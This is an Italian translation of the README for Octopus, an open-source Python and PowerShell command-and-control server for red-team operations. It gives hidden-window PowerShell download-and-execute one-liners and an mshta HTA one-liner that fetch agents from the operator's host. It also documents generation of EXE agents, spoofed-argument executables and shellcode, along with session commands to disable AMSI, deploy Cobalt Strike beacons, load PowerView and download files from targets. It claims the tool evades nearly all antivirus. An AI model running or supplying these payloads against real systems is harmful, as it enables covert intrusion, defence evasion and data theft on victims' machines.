
Server C2 pre-operativo open source basato su Python e PowerShell
Octopus è un server C2 open source pre-operativo basato su python che può controllare un agente Octopus powershell tramite HTTP/S.
Lo scopo principale della creazione di Octopus è l'utilizzo prima di qualsiasi operazione red team, dove invece di iniziare l'engagement con il tuo arsenale e infrastruttura operativa completa, puoi prima usare Octopus per attaccare il target e raccogliere informazioni prima di iniziare la tua effettiva operazione red team.
Octopus funziona in modo molto semplice per eseguire comandi e scambiare informazioni con il C2 attraverso un canale ben crittografato, il che lo rende poco appariscente e non rilevabile da quasi tutti gli AV, le soluzioni di protezione degli endpoint e di monitoraggio della rete.
Una caratteristica interessante di Octopus si chiama ESA, che sta per "Endpoint Situational Awareness", che raccoglierà alcune informazioni importanti sul target che ti aiuteranno a comprendere meglio gli endpoint della rete target che dovrai affrontare durante la tua operazione, dandoti così la possibilità di personalizzare la tua operazione reale in base a queste informazioni.
Octopus è progettato per essere furtivo e nascosto durante la comunicazione con il C2, poiché utilizza AES-256 per impostazione predefinita per il suo canale crittografato tra l'agente powershell e il server C2. Puoi anche scegliere di utilizzare SSL/TLS fornendo un certificato valido per il tuo dominio e configurando il server Octopus C2 per utilizzarlo.
Octopus è ricco di una serie di funzionalità che ti permettono di avere una visione del tuo prossimo engagement prima di dover effettivamente distribuire il tuo arsenale completo o strumenti e tecniche, come ad esempio:
Puoi installare tutti i requisiti di Octopus tramite:
pip install -r requirements.txt
Devi installare nasm per linux e il compilatore 'mingw-w64' per utilizzare la funzionalità di shellcoding e l'agente con argomenti spoofati.
Puoi installare nasm su distribuzioni basate su Debian usando:
apt install nasm
E puoi installare mingw-w64 su distribuzioni basate su Debian usando:
apt install mingw-w64
Octopus è stato testato sui seguenti sistemi operativi:
Dovrai anche installare mono per assicurarti di poter compilare il sorgente C# senza problemi.
Octopus dipende dal binario mono-csc per compilare il sorgente C# e puoi installarlo con il seguente comando apt install mono-devel che è stato testato su kali e ubuntu 16.04.
puoi usare Octopus senza installare mono ma non potrai usare il comando
generate_exe.
Nota anche che la compilazione di C# dipende dall'assembly System.Management.Automation.dll con hash SHA1 a43ed886b68c6ee913da85df9ad2064f1d81c470.
Se incontri problemi nell'uso di Octopus, sentiti libero di aprire una segnalazione di bug!
Prima di tutto assicurati di scaricare l'ultima versione di Octopus usando il seguente comando:
git clone https://github.com/mhaskar/Octopus/
Poi devi installare i requisiti usando il seguente comando:
pip install -r requirements.txt
Dopodiché puoi avviare il server Octopus eseguendo:
./octopus.py
Sarai accolto con il seguente output una volta eseguito:
┌─[askar@hackbook]─[/opt/redteaming/Octopus]
└──╼ $python3 octopus.py
___ ___ ___ ___ ___ ___
/ /\ / /\ ___ / /\ / /\ /__/\ / /\
/ /::\ / /:/ / /\ / /::\ / /::\ \ \:\ / /:/_
/ /:/\:\ / /:/ / /:/ / /:/\:\ / /:/\:\ \ \:\ / /:/ /\
/ /:/ \:\ / /:/ ___ / /:/ / /:/ \:\ / /:/~/:/ ___ \ \:\ / /:/ /::\
/__/:/ \__\:\ /__/:/ / /\ / /::\ /__/:/ \__\:\ /__/:/ /:/ /__/\ \__\:\ /__/:/ /:/\:\
\ \:\ / /:/ \ \:\ / /:/ /__/:/\:\ \ \:\ / /:/ \ \:\/:/ \ \:\ / /:/ \ \:\/:/~/:/
\ \:\ /:/ \ \:\ /:/ \__\/ \:\ \ \:\ /:/ \ \::/ \ \:\ /:/ \ \::/ /:/
\ \:\/:/ \ \:\/:/ \ \:\ \ \:\/:/ \ \:\ \ \:\/:/ \__\/ /:/
\ \::/ \ \::/ \__\/ \ \::/ \ \:\ \ \::/ /__/:/
\__\/ \__\/ \__\/ \__\/ \__\/ \__\/
v1.2 stable !
Octopus C2 | Control your shells
Octopus >>
Usare Octopus è abbastanza semplice: devi solo avviare un listener e generare il tuo agente in base alle informazioni di quel listener.
Puoi generare tutti i listener di cui hai bisogno, e poi puoi iniziare a interagire con i tuoi agenti che si collegano ad essi.
Prima di poter iniziare a usare Octopus devi impostare un profilo di gestione degli URL che controllerà il comportamento e le funzioni del C2, poiché Octopus è un C2 basato su HTTP e quindi dipende dagli URL per gestire le connessioni e per garantire che gli URL non servano come firme o IoC nella rete che stai attaccando, gli URL possono essere facilmente personalizzati e rinominati secondo necessità.
La configurazione del profilo attualmente supporta solo la gestione degli URL, il valore di auto kill e le intestazioni.
Impostazione del tuo profilo
Per iniziare a configurare il tuo profilo devi modificare il file profile.py, che contiene una serie di variabili chiave, che sono:
Esempio:
#!/usr/bin/python3
# this is the web listener profile for Octopus C2
# you can customize your profile to handle a specific URLs to communicate with the agent
# TODO : add the ability to customize the request headers
# handling the file downloading
# Ex : /anything
# Ex : /anything.php
file_receiver_url = "/messages"
# handling the report generation
# Ex : /anything
# Ex : /anything.php
report_url = "/calls"
# command sending to agent (store the command will be executed on a host)
# leave <hostname> as it with the same format
# Ex : /profile/<hostname>
# Ex : /messages/<hostname>
# Ex : /bills/<hostname>
command_send_url = "/view/<hostname>"
# handling the executed command
# Ex : /anything
# Ex : /anything.php
command_receiver_url = "/bills"
# handling the first connection from the agent
# Ex : /anything
# Ex : /anything.php
first_ping_url = "/login"
# will return in every response as Server header
server_response_header = "nginx"
# will return white page that includes HTA script
mshta_url = "/hta"
# auto kill value after n tries
auto_kill = 10
L'agente e i listener saranno configurati per utilizzare questo profilo per comunicare tra loro. Ora dobbiamo sapere come creare un listener.
Octopus ha due listener principali, "http listener" e "https listener", e le opzioni dei due listener sono per lo più identiche.
Listener HTTP:
Il comando listen_http accetta i seguenti argomenti per avviarsi:
puoi anche visualizzare un esempio eseguendo il comando listen_http:
Octopus >>listen_http
[-] Please check listener arguments !
Syntax : listen_http BindIP BindPort hostname interval URL listener_name
Example (with domain) : listen_http 0.0.0.0 8080 myc2.live 5 comments.php op1_listener
Example (without domain) : listen_http 0.0.0.0 8080 172.0.1.3 5 profile.php op1_listener
##########
Options info :
BindIP IP address that will be used by the listener
BindPort port you want to listen on
Hostname will be used to request the payload from
Interval how may seconds that agent will wait before check for commands
URL page name will hold the payload
Listener_name listener name to use
Octopus >>
E possiamo avviare un listener usando il seguente comando:
listen_http 0.0.0.0 8080 192.168.178.1 5 page.php operation1
Verrà restituito il seguente risultato:
Octopus >>listen_http 0.0.0.0 8080 192.168.178.1 5 page.php operation1
Octopus >> * Serving Flask app "core.weblistener" (lazy loading)
* Environment: production
WARNING: Do not use the development server in a production environment.
Use a production WSGI server instead.
* Debug mode: off
Octopus >>
un listener è stato avviato con successo, e possiamo visualizzare tutti i listener usando il comando listeners:
Octopus >>listeners
Name IP Port Host Interval Path SSL
---------- ------- ------ ------------- ---------- -------- -----
operation1 0.0.0.0 8080 192.168.178.1 5 page.php False
Octopus >>
Listener HTTPS:
Per creare un listener HTTPS puoi usare il comando listen_https in questo modo:
Octopus >>listen_https
[-] Please check listener arguments !
Syntax : listen_https BindIP BindPort hostname interval URL listener_name certficate_path key_path
Example (with domain) : listen_https 0.0.0.0 443 myc2.live 5 login.php op1_listener certs/cert.pem certs/key.pem
Octopus >>listen_https 0.0.0.0 443 myc2.live 5 login.php darkside_operation certs/cert.pem certs/key.pem
SSL listener started !
[+]darkside_operation Listener has been created
Octopus >> * Serving Flask app "core.weblistener" (lazy loading)
* Environment: production
WARNING: Do not use the development server in a production environment.
Use a production WSGI server instead.
* Debug mode: off
Octopus >>
Il comando listen_https accetta i seguenti argomenti per avviarsi:
Nota che devi fornire un certificato SSL valido associato al dominio utilizzato.
Powershell oneliner
Per generare un agente per il listener operation1 possiamo usare il seguente comando:
generate_powershell operation1
e otterremo il seguente risultato:
Octopus >>generate_powershell operation1
#====================
1) powershell -w hidden "IEX (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"
2) powershell -w hidden "Invoke-Expression (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"
3) powershell -w hidden "$w = (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');Invoke-Expression $w;"
Note - For Windows 7 clients you may need to prefix the payload with "Add-Type -AssemblyName System.Core;"
e.g. powershell -w hidden "Add-Type -AssemblyName System.Core;IEX (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"
Hack your way in ;)
#====================
Octopus >>
Ora possiamo usare questo oneliner per avviare il nostro agente.
HTA oneliner
Per generare un HTA oneliner per il listener1 operation1 possiamo usare il seguente comando:
generate_hta operation1
e otterremo i seguenti risultati:
Octopus >>generate_hta operation1
#====================
mshta http://192.168.178.1:8080/hta
spread it and wait ;)
#====================
Octopus >>
Nota che puoi modificare l'URL /hta usando profile.py
Agente EXE Octopus
Per generare un agente EXE per il listener operation1 possiamo usare il seguente comando:
generate_unmanaged_exe operation1 /opt/Octopus/file.exe
e otterremo il seguente risultato:
Octopus >>generate_unmanaged_exe darkside_operation2 /opt/Octopus/file.exe
[+] file compiled successfully !
[+] binary file saved to /opt/Octopus/file.exe
Octopus >>
Nota che devi installare mono-csc per compilare il sorgente C#.
Agente con argomenti spoofati Octopus
Puoi generare un nuovo agente EXE che eseguirà un processo Powershell con argomenti spoofati basato sulla brillante ricerca di Adam Chester.
Per generare questo exe, puoi usare il seguente comando:
Octopus >>generate_spoofed_args_exe
[-] Please select a listener and check your options !
Syntax : generate_spoofed_args_exe listener_name output_path
Example : generate_spoofed_args_exe listener1 /opt/Octopus/file.exe
Octopus >>
Generare shellcode x64 e shellcode x86
Octopus può generare sia shellcode x64 che x86 a partire dalla versione 1.2, lo shellcode generato utilizza CreateProcessA per avviare il oneliner di powershell.exe che lancerà l'agente powershell.
Per generare shellcode x64, puoi usare il seguente comando:
Octopus >>generate_x64_shellcode
[-] Please select a listener and check your options !
Syntax : generate_x64_shellcode listener_name
Example : generate_x64_shellcode listener1
Octopus >>
Per generare shellcode x86, puoi usare il seguente comando:
Octopus >>generate_x86_shellcode
[-] Please select a listener and check your options !
Syntax : generate_x86_shellcode listener_name
Example : generate_x86_shellcode listener1
Octopus >>
Prima di tutto puoi elencare tutti gli agenti connessi usando il comando list per ottenere i seguenti risultati:
Octopus >>list
Session IP Hostname PID Username Domain Last ping OS
--------- ------------ ----------- ----- ------------- ------------ ------------------------ --------------------------------
1 192.168.1.43 HR-PC-TYRMJ 10056 hr-pc\labuser darkside.com Tue Sep 3 10:22:07 2019 Microsoft Windows 10 Pro(64-bit)
Octopus >>
E poi possiamo usare il comando interact per interagire con l'host come segue:
Octopus >>list
Session IP Hostname PID Username Domain Last ping OS
--------- ------------ ----------- ----- ------------- ------------ ------------------------ --------------------------------
1 192.168.1.43 HR-PC-TYRMJ 10056 hr-pc\labuser darkside.com Tue Sep 3 10:22:07 2019 Microsoft Windows 10 Pro(64-bit)
Octopus >>interact 1
(HR-PC-TYRMJ) >>
Puoi elencare tutti i comandi disponibili usando il comando help come di seguito:
Octopus >>list
Session IP Hostname PID Username Domain Last ping OS
--------- ------------ ----------- ----- ------------- ------------ ------------------------ --------------------------------
1 192.168.1.43 HR-PC-TYRMJ 10056 hr-pc\labuser darkside.com Tue Sep 3 10:22:07 2019 Microsoft Windows 10 Pro(64-bit)
Octopus >>interact 1
(HR-PC-TYRMJ) >> help
Available commands to use :
Hint : if you want to execute system command just type it and wait for the results
+++++++++
help show this help menu
exit/back exit current session and back to the main screen
clear clear the screen output
download download file from the target machine
deploy_cobalt_beacon deploy cobalt strike powershell beacon in the current process
load load powershell module to the target machine
disable_amsi disable AMSI on the target machine
report get situation report from the target
(HR-PC-TYRMJ) >>
Per eseguire direttamente un comando di sistema possiamo digitare il comando direttamente e poi attendere i risultati in base al tempo di intervallo di controllo che abbiamo impostato quando abbiamo creato il listener.
(HR-PC-TYRMJ) >> ipconfig
[+] Command sent , waiting for results
(HR-PC-TYRMJ) >>
Command execution result is :
Windows IP Configuration
Ethernet adapter Ethernet1:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Ethernet adapter Ethernet0:
Connection-specific DNS Suffix . : home
Link-local IPv6 Address . . . . . : fe80::f85f:d52b:1d8d:cbae%10
IPv4 Address. . . . . . . . . . . : 192.168.1.43
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.1.1
Ethernet adapter Ethernet:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Ethernet adapter Bluetooth Network Connection:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
(HR-PC-TYRMJ) >>
In questo caso il comando è stato crittografato e poi inviato all'agente, dopodiché il client decritterà il comando e lo eseguirà, l'agente crittograferà i risultati e infine li rispedirà al C2 per decrittarli e mostrare i risultati.
Possiamo anche usare il comando report per ottenere le informazioni ESA come di seguito:
(HR-PC-TYRMJ) >> report
[+] Command sent , waiting for results
(HR-PC-TYRMJ) >>
Endpoint situation awareness report for HR-PC-QNGAV
=============
Hostname : HR-PC-QNGAV
Domain : darkside.com
OS : Microsoft Windows 10 Pro(64-bit)
OS build : 10.0.17134
OS arch : 64-bit
AntiVirus : Symantec
SIEM solution : False
Internal interfaces/IPs :
IP : 192.168.178.144
IP : 172.12.1.20
Device language : en-US
Device uptime : 41.6386169797778 hours
Device local time : 21:55(09/09/2019)
(HR-PC-TYRMJ) >>
Puoi caricare un modulo powershell esterno posizionandolo nella directory modules, quindi eseguendo load module.ps1.
Inoltre puoi elencare tutti i moduli nella directory dei moduli eseguendo il comando modules in questo modo:
(HR-PC-TYRMJ) >> modules
PowerView.ps1
(HR-PC-TYRMJ) >> load PowerView.ps1
[+] Module should be loaded !
(HR-PC-TYRMJ) >>
Ian Lyte per aver segnalato molteplici bug in Octopus e aver spinto un modulo di bypass AMSI migliorato.
Khlief per aver aggiunto il modulo HTA e aver corretto un bug nella funzionalità di download.
Moath Maharmah per aver migliorato il modulo di crittografia e scritto un agente Octopus C# autonomo che verrà aggiunto alla prossima release.
TeslaPulse per aver testato Octopus.
J005 per aver aggiunto il powershell oneliner migliorato e aver corretto un problema nello script di attacco HID.
Questo progetto è concesso in licenza secondo la licenza GPL-3.0 - consulta il file LICENSE per i dettagli.